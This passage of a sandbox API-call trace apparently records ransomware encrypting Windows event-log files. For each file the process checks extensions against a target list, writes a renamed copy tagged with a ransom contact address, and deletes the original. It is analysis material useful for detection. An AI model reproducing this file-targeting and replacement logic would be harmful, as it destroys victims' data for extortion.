(lpString=".jpg") returned 4 [0151.668] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.668] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0151.668] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44 [0151.668] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0151.669] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0151.669] CloseHandle (hObject=0x10d0) returned 1 [0151.669] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0151.669] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.669] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0151.669] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.669] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.669] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0151.670] GetLastError () returned 0x0 [0151.671] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0151.742] WriteFile (in: hFile=0x10cc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0151.744] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.744] WriteFile (in: hFile=0x10cc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x12c, lpOverlapped=0x0) returned 1 [0151.744] SetEndOfFile (hFile=0x10cc) returned 1 [0151.745] CloseHandle (hObject=0x10cc) returned 1 [0151.753] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.753] SetEndOfFile (hFile=0x10d0) returned 1 [0151.756] CloseHandle (hObject=0x10d0) returned 1 [0151.756] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0151.756] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0151.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0151.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0151.756] lstrlenW (lpString=".doc") returned 4 [0151.756] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.757] lstrlenW (lpString=".docx") returned 5 [0151.757] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.757] lstrlenW (lpString=".pdf") returned 4 [0151.757] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.757] lstrlenW (lpString=".xls") returned 4 [0151.757] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.757] lstrlenW (lpString=".xlsx") returned 5 [0151.757] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.757] lstrlenW (lpString=".ppt") returned 4 [0151.757] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0151.757] lstrlenW (lpString=".zip") returned 4 [0151.757] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.757] lstrlenW (lpString=".rar") returned 4 [0151.757] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.757] lstrlenW (lpString=".bz2") returned 4 [0151.757] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.757] lstrlenW (lpString=".7z") returned 3 [0151.757] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0151.757] lstrlenW (lpString=".dbf") returned 4 [0151.757] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0151.757] lstrlenW (lpString=".1cd") returned 4 [0151.757] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0151.757] lstrlenW (lpString=".jpg") returned 4 [0151.758] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.758] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0151.758] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0151.758] lstrlenW (lpString=".doc") returned 4 [0151.758] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.000] lstrlenW (lpString=".docx") returned 5 [0152.001] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.001] lstrlenW (lpString=".pdf") returned 4 [0152.001] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.001] lstrlenW (lpString=".xls") returned 4 [0152.001] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.001] lstrlenW (lpString=".xlsx") returned 5 [0152.001] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.001] lstrlenW (lpString=".ppt") returned 4 [0152.001] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.001] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0152.001] lstrlenW (lpString=".zip") returned 4 [0152.001] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.001] lstrlenW (lpString=".rar") returned 4 [0152.001] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.001] lstrlenW (lpString=".bz2") returned 4 [0152.001] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.001] lstrlenW (lpString=".7z") returned 3 [0152.001] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.001] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0152.001] lstrlenW (lpString=".dbf") returned 4 [0152.001] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.002] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0152.002] lstrlenW (lpString=".1cd") returned 4 [0152.002] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.002] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0152.002] lstrlenW (lpString=".jpg") returned 4 [0152.002] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.002] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0152.002] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52 [0152.002] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0152.003] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0152.003] CloseHandle (hObject=0x10a8) returned 1 [0152.003] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0152.003] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.003] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0152.003] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.003] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.003] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0152.004] GetLastError () returned 0x0 [0152.004] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0152.136] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0152.138] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.138] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x13c, lpOverlapped=0x0) returned 1 [0152.138] SetEndOfFile (hFile=0x10e8) returned 1 [0152.138] CloseHandle (hObject=0x10e8) returned 1 [0152.148] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.148] SetEndOfFile (hFile=0x10a8) returned 1 [0152.150] CloseHandle (hObject=0x10a8) returned 1 [0152.150] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0152.150] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0152.150] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.150] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.150] lstrlenW (lpString=".doc") returned 4 [0152.150] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.151] lstrlenW (lpString=".docx") returned 5 [0152.151] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.151] lstrlenW (lpString=".pdf") returned 4 [0152.151] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.151] lstrlenW (lpString=".xls") returned 4 [0152.151] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.151] lstrlenW (lpString=".xlsx") returned 5 [0152.151] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.151] lstrlenW (lpString=".ppt") returned 4 [0152.151] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.151] lstrlenW (lpString=".zip") returned 4 [0152.151] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.151] lstrlenW (lpString=".rar") returned 4 [0152.151] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.151] lstrlenW (lpString=".bz2") returned 4 [0152.151] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.151] lstrlenW (lpString=".7z") returned 3 [0152.151] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.151] lstrlenW (lpString=".dbf") returned 4 [0152.151] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.151] lstrlenW (lpString=".1cd") returned 4 [0152.151] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.151] lstrlenW (lpString=".jpg") returned 4 [0152.151] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.152] lstrlenW (lpString=".doc") returned 4 [0152.152] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.152] lstrlenW (lpString=".docx") returned 5 [0152.152] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.152] lstrlenW (lpString=".pdf") returned 4 [0152.152] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.152] lstrlenW (lpString=".xls") returned 4 [0152.152] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.152] lstrlenW (lpString=".xlsx") returned 5 [0152.152] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.152] lstrlenW (lpString=".ppt") returned 4 [0152.152] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.152] lstrlenW (lpString=".zip") returned 4 [0152.152] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.152] lstrlenW (lpString=".rar") returned 4 [0152.152] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.152] lstrlenW (lpString=".bz2") returned 4 [0152.152] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.152] lstrlenW (lpString=".7z") returned 3 [0152.152] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.152] lstrlenW (lpString=".dbf") returned 4 [0152.152] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.152] lstrlenW (lpString=".1cd") returned 4 [0152.153] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0152.153] lstrlenW (lpString=".jpg") returned 4 [0152.153] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.153] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0152.153] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82 [0152.153] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0152.153] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0152.153] CloseHandle (hObject=0x10a8) returned 1 [0152.153] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0152.154] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.154] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0152.154] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.154] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.154] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0152.155] GetLastError () returned 0x0 [0152.155] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0152.196] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0152.198] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.198] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x178, lpOverlapped=0x0) returned 1 [0152.198] SetEndOfFile (hFile=0x10e8) returned 1 [0152.198] CloseHandle (hObject=0x10e8) returned 1 [0152.207] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.207] SetEndOfFile (hFile=0x10a8) returned 1 [0152.209] CloseHandle (hObject=0x10a8) returned 1 [0152.209] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0152.210] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0152.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.210] lstrlenW (lpString=".doc") returned 4 [0152.210] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.210] lstrlenW (lpString=".docx") returned 5 [0152.210] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.210] lstrlenW (lpString=".pdf") returned 4 [0152.210] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.210] lstrlenW (lpString=".xls") returned 4 [0152.210] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.210] lstrlenW (lpString=".xlsx") returned 5 [0152.210] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.210] lstrlenW (lpString=".ppt") returned 4 [0152.210] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.210] lstrlenW (lpString=".zip") returned 4 [0152.210] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.211] lstrlenW (lpString=".rar") returned 4 [0152.211] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.211] lstrlenW (lpString=".bz2") returned 4 [0152.211] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.211] lstrlenW (lpString=".7z") returned 3 [0152.211] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.211] lstrlenW (lpString=".dbf") returned 4 [0152.211] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.211] lstrlenW (lpString=".1cd") returned 4 [0152.211] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.211] lstrlenW (lpString=".jpg") returned 4 [0152.211] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.212] lstrlenW (lpString=".doc") returned 4 [0152.212] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.212] lstrlenW (lpString=".docx") returned 5 [0152.212] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.212] lstrlenW (lpString=".pdf") returned 4 [0152.212] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.212] lstrlenW (lpString=".xls") returned 4 [0152.212] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.212] lstrlenW (lpString=".xlsx") returned 5 [0152.212] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.212] lstrlenW (lpString=".ppt") returned 4 [0152.212] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.212] lstrlenW (lpString=".zip") returned 4 [0152.212] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.212] lstrlenW (lpString=".rar") returned 4 [0152.212] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.212] lstrlenW (lpString=".bz2") returned 4 [0152.212] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.212] lstrlenW (lpString=".7z") returned 3 [0152.212] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.212] lstrlenW (lpString=".dbf") returned 4 [0152.212] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.212] lstrlenW (lpString=".1cd") returned 4 [0152.213] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0152.213] lstrlenW (lpString=".jpg") returned 4 [0152.213] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.213] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0152.213] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57 [0152.213] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0152.213] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0152.213] CloseHandle (hObject=0x10a8) returned 1 [0152.213] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0152.214] GetFileAttributesW 